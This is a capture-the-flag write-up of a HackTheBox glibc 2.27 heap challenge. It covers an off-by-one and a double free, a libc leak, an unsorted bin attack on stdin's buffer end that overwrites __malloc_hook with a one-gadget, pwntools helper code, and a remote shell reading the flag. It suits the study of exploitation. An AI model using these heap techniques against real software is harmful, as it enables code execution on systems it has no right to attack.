Once for all is a heap challenge I did during the HackTheBox Cyber Apocalypse event. This is a classic unsorted bin attack plus a FSOP on stdin. Find the tasks and the final exploit here and here.
Reverse engineering
All the snippets of pseudo-code are issued by IDA freeware:
if ( allocated == 15 ) returnputs("Nothing more!"); ++allocated; printf("Choose an index: "); __isoc99_scanf("%lu", idx); if ( size_array[2 * idx[0]] || (&alloc_array)[2 * idx[0]] || idx[0] > 0xEuLL ) returnputs("[-] Invalid!"); printf("\nHow much space do you need for it: "); __isoc99_scanf("%lu", &nmemb); if ( nmemb <= 0x1F || nmemb > 0x38 ) returnputs("[-] Your inventory cannot provide this type of space!"); size_array[2 * idx[0]] = nmemb; v1 = idx[0]; (&alloc_array)[2 * v1] = (void **)calloc(nmemb, 1uLL); if ( !(&alloc_array)[2 * idx[0]] ) { puts("[-] Something didn't work out..."); exit(-1); } puts("Input your weapon's details: "); # off-by-one return read(0, (&alloc_array)[2 * idx[0]], nmemb + 1); }
As you can see right above this function contains an off-by-one vulnerability, which means we can write only one byte right after the allocated chunk, overlapping the size field of the next chunk / top chunk.
The fix function frees a chunk and asks for another size, then it allocates another chunk with calloc.
printf("Choose an index: "); __isoc99_scanf("%lu", &idx); if ( !size_array[2 * idx] || !alloc_array[2 * idx] || idx > 0xE ) returnputs("[-] Invalid!"); puts("Ok, let's get you some new parts for this one... seems like it's broken"); free(alloc_array[2 * idx]); printf("\nHow much space do you need for this repair: "); __isoc99_scanf("%lu", &size); if ( size <= 0x1F || size > 0x38 ) # [1] returnputs("[-] Your inventory cannot provide this type of space."); size_array[2 * idx] = size; v1 = idx; alloc_array[2 * v1] = calloc(size, 1uLL); if ( !alloc_array[2 * idx] ) { puts("Something didn't work out..."); exit(-1); } puts("Input your weapon's details: "); read(0, alloc_array[2 * idx], size); printf("What would you like to do now?\n1. Verify weapon\n2. Continue\n>> "); __isoc99_scanf("%lu", v4); result = v4[0]; if ( v4[0] == 1 ) { if ( verified ) { returnputs(&unk_1648); } else { result = puts((constchar *)alloc_array[2 * idx]); verified = 1; } } return result; }
If we reach [1], alloc_array[2 * idx] is freed leading to a double free.
if ( chungus_weapon || qword_202068 ) { LODWORD(v0) = puts(&unk_16E8); } else { printf("How much space do you need for this massive weapon: "); __isoc99_scanf("%lu", &size); if ( (unsigned __int16)size > 0x5AFu && (unsigned __int16)size <= 0xF5C0u ) { puts("Adding to your inventory.."); chungus_weapon = size; v0 = malloc(size); qword_202068 = (__int64)v0; } else { LODWORD(v0) = puts("[-] This is not possible.."); } } return (int)v0; }
Exploitation
What we have
An off-by-one when we create a new chunk
Double free by calling fix and then providing an invalid size.
Trivial read after free thanks to the double free.
Restrictions
The program does not use printf with a format specifer, then we cannot do a House of husk.
We can only allocate 15 chunks.
All the allocations except the big one are made using calloc, even if it can be easily bypassed by adding the IS_MAPPED flag to the chunk header to avoid zero-ing.
The libc version (2.27) mitigates a few techniques, especially the House of Orange and introduces the tcache.
Allocations have to fit in only two fastbins (0x30 / 0x40), which means we cannot get an arbitrary with a fastbin dup technique due to the size of most of interesting memory areas in the libc (0x7f => 0x70 fastbin against 0x30 / 0x40 in our case).
How to leak libc ?
Partial overwrites are as far as I know very hard to get because of calloc. The first thing to do is to leak libc addresses to then target libc global variables / structures. The classic way to get a libc leak is to free a chunk that belongs to the unsorted bin and then print it. But as seen previously, we cannot allocate a large chunks that would end up in the unsorted bin. To do so we have to use the off-by-one bug to overwrite the next chunk’s size field with a bigger one that would correspond to the unsorted bin (>= 0x90). We can edit the size of the second chunk from 0x30 to 0xb0 by doing:
defadd(idx, size, data, hang=False): io.sendlineafter(b">> ", b"1") io.sendlineafter(b"Choose an index: ", str(idx).encode()) io.sendlineafter(b"How much space do you need for it: ", str(size).encode()) if hang == True: return
io.sendlineafter(b"Input your weapon's details: \n", data)
deffreexalloc(idx, size, data, doubleFree=False): io.sendlineafter(b">> ", b"2") io.sendlineafter(b"Choose an index: ", str(idx).encode()) io.sendlineafter(b"How much space do you need for this repair: ", str(size).encode())
if doubleFree: return
io.sendlineafter(b"Input your weapon's details: \n", data) io.sendlineafter(b">> ", b"1")
defshow(idx): io.sendlineafter(b">> ", b"3") io.sendlineafter(b"Choose an index: ", str(idx).encode())
defallochuge(size): io.sendlineafter(b">> ", b"4") io.sendlineafter(b"How much space do you need for this massive weapon: ", str(size).encode())
We allocate 6 chunks, we do need of 6 chunks because of the fake size we write on chunk_2 (&chunk_2 + 0xb0 = 0x555555608690, in the last chunk near the top chunk). In the same way we craft a fake header in the body of the last chunk to avoid issues during the release of chunk_2. If you’re not familiar with the security checks done by malloc and free, I would advise you to take a look at this resource.
Now that chunk_2 has been tampered with a fake 0xb0 size, we just have to free it 8 times (to fill the tcache) to put it in the unsorted bin:
nasm@off:~/Documents/pwn/HTB/apocalypse/onceAndmore$ python3 exploit.py LOCAL GDB NOASLR [*] '/home/nasm/Documents/pwn/HTB/apocalypse/onceAndmore/once_and_for_all' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RUNPATH: b'/home/nasm/Documents/pwn/HTB/apocalypse/onceAndmore/out' [!] Debugging process with ASLR disabled [+] Starting local process '/usr/bin/gdbserver': pid 31378 [*] running in new terminal: ['/usr/bin/gdb', '-q', '/home/nasm/Documents/pwn/HTB/apocalypse/onceAndmore/once_and_for_all', '-x', '/tmp/pwn1z_5e0ie.gdb'] [*] libc: 0x7ffff79e4000
We now have achieved the first step of the challenge: leak the libc base address.
What can we target in the libc ?
There are a lot of ways to achieve code execution according to what I red in other write-ups, I choose to attack _IO_stdin by running an unsorted bin attack on its _IO_buf_end field which holds the end of the internal buffer of stdin from _IO_buf_base, according to the glibc source code:
int _IO_new_file_underflow (_IO_FILE *fp) { _IO_ssize_t count; #if 0 /* SysV does not make this test; take it out for compatibility */ if (fp->_flags & _IO_EOF_SEEN) return (EOF); #endif
if (fp->_IO_buf_base == NULL) { /* Maybe we already have a push back pointer. */ if (fp->_IO_save_base != NULL) { free (fp->_IO_save_base); fp->_flags &= ~_IO_IN_BACKUP; } _IO_doallocbuf (fp); }
/* Flush all line buffered files before reading. */ /* FIXME This can/should be moved to genops ?? */ if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED)) { #if 0 _IO_flush_all_linebuffered (); #else /* We used to flush all line-buffered stream. This really isn't required by any standard. My recollection is that traditional Unix systems did this for stdout. stderr better not be line buffered. So we do just that here explicitly. --drepper */ _IO_acquire_lock (_IO_stdout);
/* This is very tricky. We have to adjust those pointers before we call _IO_SYSREAD () since we may longjump () out while waiting for input. Those pointers may be screwed up. H.J. */ fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base; fp->_IO_read_end = fp->_IO_buf_base; fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end = fp->_IO_buf_base;
count = _IO_SYSREAD (fp, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base); if (count <= 0) { if (count == 0) fp->_flags |= _IO_EOF_SEEN; else fp->_flags |= _IO_ERR_SEEN, count = 0; } fp->_IO_read_end += count; if (count == 0) { /* If a stream is read to EOF, the calling application may switch active handles. As a result, our offset cache would no longer be valid, so unset it. */ fp->_offset = _IO_pos_BAD; return EOF; } if (fp->_offset != _IO_pos_BAD) _IO_pos_adjust (fp->_offset, count); return *(unsignedchar *) fp->_IO_read_ptr; }
The interesting part is the count = _IO_SYSREAD (fp, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base); which reads fp->_IO_buf_end - fp->_IO_buf_base bytes in fp->_IO_buf_base. Which means if fp->_IO_buf_end is replaced with the help of an unsorted bin attack by the address of the unsorted bin and that &unsorted bin > fp->_IO_buf_base, we can trigger an out of bound write from a certain address up to the address of the unsorted bin. We can inspect the layout in gdb to see what’s actually going on:
As you can see right above and according to the source code showed previously, _IO_stdin->_IO_buf_base points toward _IO_stdin->_shortbuf, an internal buffer directly in stdin. And &unsortedbin > _IO_buf_base > stdin. If you do not understand fully my explanations, I advise you to take a look at this great article.
Then we should be able to control every bytes between &stdin->_shortbuf and &unsortedbin. And the incredible thing to note is that in this small range, there is what every heap pwner is always looking for: __malloc_hook !!
Then we just have to overwrite the pointers inside stdin, _IO_wide_data_0 and __memalign_hook to finally reach __malloc_hook and write the address of a one-gadget !
Unsorted bin attack on stdin->_IO_buf_end
Here was theory, let’s see how we can do that. To understand unsorted bin attack here is a good article about unsorted bin attack. The unsorted bin attack using partial unlink is basically:
overwrite the backward pointer of the last chunk in the unsorted bin by &target - 0x10
request the exact size of the last chunk in the unsorted bin
It should write at &target the address of the unsorted bin
An essential thing to note is that if there is no chunks in your fastbin / smallbin and that you’re requesting a fastbin/smallbin-sized chunk, the unsorted bin will be inspected and if the last chunk doesn’t fit the request, the program will most of the time issues a malloc(): memory corruption. Anyway the best thing to do is to take a look at the code:
/* If a small request, try to use last remainder if it is the only chunk in unsorted bin. This helps promote locality for runs of consecutive small requests. This is the only exception to best-fit, and applies only when there is no exact fit for a small chunk. */
/* remove from unsorted list */ unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av);
/* Take now instead of binning if exact fit */
if (size == nb) { set_inuse_bit_at_offset (victim, size); if (av != &main_arena) set_non_main_arena (victim); #if USE_TCACHE /* Fill cache first, return to user only if cache fills. We may return one of these chunks later. */ if (tcache_nb && tcache->counts[tc_idx] < mp_.tcache_count) { tcache_put (victim, tc_idx); return_cached = 1; continue; } else { #endif check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; #if USE_TCACHE } #endif }
[...] }
According to what I said earlier, the goal is to replace stdin->_IO_buf_end with &unsortedbin which means we have to write to the backward pointer of the last chunk in the unsorted bin (chunk_2) &stdin->_IO_buf_end - 0x10. To do so we can trigger a write after free primitive by taking back chunk_2 from the unsorted bin to the fastbin:
As you can read right above, the chunk_2 has its backward pointer set to &stdin->_IO_buf_end - 0x10. To achieve the partial unlink we just have to request a 0x30 sized chunk with nothing in the fastbin freelists. That’s the last step of the unsortedbin attack, clean out the fastbin:
The 4\n\x00\x00\x00 corresponds to the option that asks for the huge chunk (we cannot allocate standards chunks anymore) which will trigger __malloc_hook :).
root@3b9bf5405b71:/mnt# python3 exploit.py REMOTE HOST=167.172.56.180 PORT=30332 [*] '/mnt/once_and_for_all' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RUNPATH: b'/mnt/out' [+] Opening connection to 167.172.56.180 on port 30332: Done [*] Switching to interactive mode
How much space do you need for this massive weapon: Adding to your inventory.. $ id uid=100(ctf) gid=101(ctf) $ ls flag.txt glibc once_and_for_all $ cat flag.txt HTB{m4y_th3_f0rc3_b3_w1th_B0Nn13!}
Find the tasks and the final exploit here and here.